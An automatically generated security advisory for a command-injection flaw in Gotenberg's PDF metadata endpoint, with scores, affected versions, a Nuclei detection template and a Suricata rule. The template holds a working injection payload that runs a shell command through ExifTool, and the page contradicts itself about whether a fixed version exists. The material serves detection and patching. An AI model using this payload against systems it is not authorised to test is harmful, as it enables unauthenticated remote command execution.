CVE-2026-42589: gotenberg gotenberg advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg’s /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags, including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-14).

Weakness: CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer evidence for this CVE has not been fetched yet.

Live scores

EPSS: 0.030
some chance of attack soon
VEDAS: 0.981
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
gotenberg gotenberg	version < 8.31.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Gotenberg - Command Injection
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg’s /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /version, POST /forms/pdfengines/metadata/write); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-42589.yaml

Show the template (92 lines)

yaml

id: CVE-2026-42589

info:
  name: Gotenberg - Command Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's
    /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to
    ExifTool via the go-exiftool library.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42589&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=gotenberg&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42589
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 8.31.0")'
          - 'contains(to_lower(header), "gotenberg")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "([0-9.]+)"
        internal: true

  - raw:
      - |
        @timeout: 10s
        POST /forms/pdfengines/metadata/write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files"; filename="sample.pdf"
        Content-Type: application/pdf

        %PDF-1.1
        1 0 obj
        << /Type /Catalog /Pages 2 0 R >>
        endobj
        2 0 obj
        << /Type /Pages /Kids [3 0 R] /Count 1 >>
        endobj
        3 0 obj
        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>
        endobj
        xref
        0 4
        0000000000 65535 f
        0000000009 00000 n
        0000000058 00000 n
        0000000115 00000 n
        trailer
        << /Root 1 0 R /Size 4 >>
        startxref
        186
        %%EOF
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="metadata"

        {"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}
        ------WebKitFormBoundary{{randstr}}--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "duration >= 6"
        condition: and

CVE-2026-42589.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42589 Gotenberg - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42589 Gotenberg - Command Injection"; flow:established,to_server; http.uri; content:"/forms/pdfengines/metadata/write"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42589; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42589&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=gotenberg&match=exact; sid:1010307; rev:1;)

CVE-2026-42589.rules on GitHub

Advisories on this CVE

References

Other references

https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657 (x_refsource_CONFIRM)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.